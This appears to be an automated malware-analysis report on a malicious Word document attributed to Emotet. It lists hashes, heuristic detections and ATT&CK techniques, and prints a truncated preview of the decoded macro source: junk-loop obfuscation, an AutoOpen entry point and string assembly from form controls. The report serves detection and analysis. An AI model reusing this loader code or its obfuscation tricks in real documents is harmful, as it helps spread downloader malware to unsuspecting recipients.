Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 41939451681d0d76…

MALICIOUS

Office (OLE)

142.4 KB Created: 2019-05-13 19:33:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 3bc2ca2be6e16a90b9ae53c9b783689f SHA-1: 0516bbef3980b132a4695aa7d515276fa8f1b44e SHA-256: 41939451681d0d76293cded1a2826c7f1bd62ba0dd030d7cc823d373efdc9c0c
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains critical heuristic firings indicating an obfuscated auto-exec VBA loader designed to execute code, consistent with Emotet's typical behavior. The presence of AutoOpen and GetObject calls further supports this. The ClamAV detection explicitly names Emotet, reinforcing the family attribution. The VBA script likely downloads and executes a second-stage payload, a common tactic for Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6969373-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6969373-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8185 bytes
SHA-256: 84a318b69bf57f2170a9736dfadaa2bf8ef07823791c59595077dcb7fbcb5f42
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "T7544_"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "p3883_5"
Attribute VB_Base = "0{48CCBC35-A633-42BB-8F2F-19BA4241251B}{80AE38D2-94A1-4DCD-AEEA-F844ABDAD7DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D_23_909"

Attribute VB_Name = "A70721"

Attribute VB_Name = "p91_00"

Attribute VB_Name = "n55686"

Attribute VB_Name = "s043837"

Attribute VB_Name = "q3381_2"
Attribute VB_Base = "0{E9D8652C-019A-4744-B4BB-F572AC8763FF}{38E1CABB-4C12-4BC1-B32E-4A73AE494D20}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "W7_80077"
Function P32_41(k34_7_7)
   While c3143_4 And v08974
            Close ("X521570")
            Close ("h_7_760")
            Close ("716998480")
            Close ("333246014")
Wend
   While G85_5079 And Y00150
            Close ("v799545_")
            Close ("w9325049")
            Close ("789847143")
            Close ("447900592")
Wend
   While K46848 And N986_9
            Close ("W9548314")
            Close ("j401_4")
            Close ("202799383")
            Close ("162131451")
Wend
Set P32_41 = CVar(k34_7_7)
   While o47763 And k99_54
            Close ("W8_62112")
            Close ("r_041901")
            Close ("465234597")
            Close ("33737622")
Wend
   While C3064_ And c31892
            Close ("N7_40_2")
            Close ("D4085925")
            Close ("430944436")
            Close ("892798185")
Wend
   While j456_608 And T664_00
            Close ("H561337")
            Close ("C52_218")
            Close ("838628702")
            Close ("627710716")
Wend
End Function
Sub _
autoopen()
On Error Resume Next
   While U5_7888 And j670846
            Close ("j45927")
            Close ("B4653399")
            Close ("796063649")
            Close ("59523629")
Wend
   While F__531 And N60__147
            Close ("W7289890")
            Close ("w37974")
            Close ("134206871")
            Close ("678297840")
Wend
   While q9577232 And q2479484
            Close ("k523492")
            Close ("i523_0")
            Close ("55798511")
            Close ("371304095")
Wend
Call o73012
   While i3_73_0 And s59714
            Close ("P_088270")
            Close ("t0_936")
            Close ("606837940")
            Close ("627295910")
Wend
   While p80489 And b007_57
            Close ("b5_95524")
            Close ("r_49642")
            Close ("955259392")
            Close ("578874310")
Wend
End Sub


Attribute VB_Name = "q94982"
Function o73012()
On Error Resume Next
   While q15351 And m354724
            Close ("G27237_2")
            Close ("M303573")
            Close ("889412469")
            Close ("190355619")
Wend
   While M5882906 And o_136_
            Close ("z04451")
            Close ("O6_2307")
            Close ("53621047")
            Close ("934686248")
Wend
O_0426 = p3883_5.f0423943.Tag + q3381_2.I60_9151 + p3883_5.f0423943.Text + q3381_2.J331_05 + p3883_5.f0423943.Value + p3883_5.f0423943 + q3381_2.P854047_ + p3883_5.f0423943.Text + p3883_5.f0423943 + q3381_2.Z_84__ + p3883_5.f0423943.Text + q3381_2.h749931.ControlTipText + p3883_5.f0423943
   While c67912 And h8364623
            Close ("t0_81525")
            Close ("z292131")
            Close ("919509130")
            Close ("468073194")
Wend
   While C922983 And p3_1363
            Close ("D__5315")
            Close ("B2_5222")
            Close ("575845255")
            
... (truncated)

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